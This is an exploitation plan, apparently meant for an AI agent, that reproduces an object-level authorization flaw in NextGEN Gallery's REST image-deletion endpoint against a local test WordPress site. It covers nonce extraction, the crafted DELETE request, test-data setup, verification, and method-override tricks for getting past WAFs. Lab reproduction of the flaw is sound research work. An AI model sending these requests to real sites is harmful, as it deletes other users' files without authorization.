Exploitation Research Plan - CVE-2026-6566

1. Vulnerability Summary

The NextGEN Gallery plugin (versions <= 4.2.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its REST API implementation for image deletion. Specifically, the endpoint DELETE /imagely/v1/images/{id} fails to perform proper object-level authorization. While it checks if a user has the general NextGEN Manage gallery capability, it does not verify if the user owns the gallery containing the image or possesses the higher-privilege NextGEN Manage others gallery capability. This allows any authenticated user with the NextGEN Manage gallery capability (which can be assigned to Subscriber-level roles via plugin settings) to delete images belonging to any other user.

2. Attack Vector Analysis

• Endpoint: /wp-json/imagely/v1/images/{id}
• HTTP Method: DELETE (or POST with _method=DELETE / X-HTTP-Method-Override: DELETE)
• Authentication: Authenticated. Requires a user with the NextGEN Manage gallery capability.
• Payload Parameter: {id} in the URL represents the image ID in the {prefix}_ngg_pictures table.
• Preconditions:
  1. The attacker must have a Subscriber account.
  2. The "NextGEN Gallery" -> "Other Options" -> "Roles & Capabilities" must be configured to allow the Subscriber role the NextGEN Manage gallery capability (a common configuration for multi-user sites).
  3. deleteImg option is enabled (default behavior), which causes the image files to be unlinked from the filesystem.

3. Code Flow (Inferred)

Based on NextGEN's module architecture and the vulnerability description:

1. Route Registration: The plugin registers the route imagely/v1/images/(?P<id>[\d]+) using register_rest_route.
2. Permission Callback: The permission_callback for the DELETE method likely calls a function that only checks:
   return current_user_can('NextGEN Manage gallery');
3. Execution Callback: The controller's deletion method takes the {id}, retrieves the image record from the database, and proceeds to delete it:
   • It fetches the image object via the NextGEN DataMapper (e.g., \Imagely\NGG\DataMappers\Image::get_instance()->find($id)).
   • It fails to compare the image's galleryid ownership against the current_user_id.
   • It calls the storage deletion method (e.g., $storage->delete_image($id)), which removes the database entry and unlinks the file from wp-content/gallery/.

4. Nonce Acquisition Strategy

The REST API requires a standard WordPress REST nonce (wp_rest).

1. Shortcode/Page Setup: NextGEN's admin dashboard or any page where the NextGEN "Manage Galleries" interface is loaded will contain the necessary nonce.
2. Strategy:
   • Log in as the Subscriber.
   • Access the NextGEN Dashboard (if available) or any admin page.
   • The plugin relies on the core WordPress REST API settings.
3. Extraction:
   • Use browser_eval to extract the nonce from the wpApiSettings global object provided by WordPress core when REST-enabled scripts are loaded.
   • JavaScript: window.wpApiSettings.nonce

5. Exploitation Strategy

Step 1: Target Identification

Determine the ID of an image belonging to another user (e.g., the Administrator).

• This can often be found by inspecting the frontend of a gallery (NextGEN image IDs are frequently exposed in HTML attributes or lightbox data).

Step 2: Request Construction

Perform a DELETE request using the http_request tool.

Request Details:

• URL: http://localhost:8080/wp-json/imagely/v1/images/{TARGET_IMAGE_ID}
• Method: DELETE
• Headers:
  • X-WP-Nonce: [EXTRACTED_NONCE]
  • Content-Type: application/json
  • Cookie: [SUBSCRIBER_COOKIES]

Step 3: Execution

If the server returns a 200 OK or 204 No Content, the image has been deleted despite it not belonging to the Subscriber.

6. Test Data Setup

1. Users:
   • User A: Administrator (ID 1).
   • User B: Subscriber (ID 2).
2. Capability Setup (via WP-CLI):
   • Grant the required capability to the subscriber role (simulating a common plugin config):
     wp ngg capabilities add subscriber "NextGEN Manage gallery"
3. Content Creation:
   • User A (Admin) creates a gallery and uploads an image victim.jpg.
   • Record the image ID: wp db query "SELECT pid FROM wp_ngg_pictures WHERE filename='victim.jpg'"
4. Attacker Context:
   • User B (Subscriber) creates their own gallery to ensure they have an active session and the capability works.

7. Expected Results

• Success: The REST API returns a success response. The image record is removed from the {prefix}_ngg_pictures table, and the file wp-content/gallery/{gallery_name}/victim.jpg is deleted from the disk.
• Failure: The REST API returns a 403 Forbidden or 401 Unauthorized.

8. Verification Steps

1. Database Check:
   wp db query "SELECT * FROM wp_ngg_pictures WHERE pid = {TARGET_IMAGE_ID}"
   (Should return no results).
2. Filesystem Check:
   ls /var/www/html/wp-content/gallery/{gallery_name}/victim.jpg
   (Should return "No such file or directory").

9. Alternative Approaches

If the DELETE method is blocked by server configuration (e.g., some WAFs or specific Nginx configs):

• Use POST with the method override header:

  POST /wp-json/imagely/v1/images/{id} HTTP/1.1
  X-HTTP-Method-Override: DELETE
  X-WP-Nonce: ...
  

• Use POST with the _method parameter:

  POST /wp-json/imagely/v1/images/{id}?_method=DELETE HTTP/1.1
  X-WP-Nonce: ...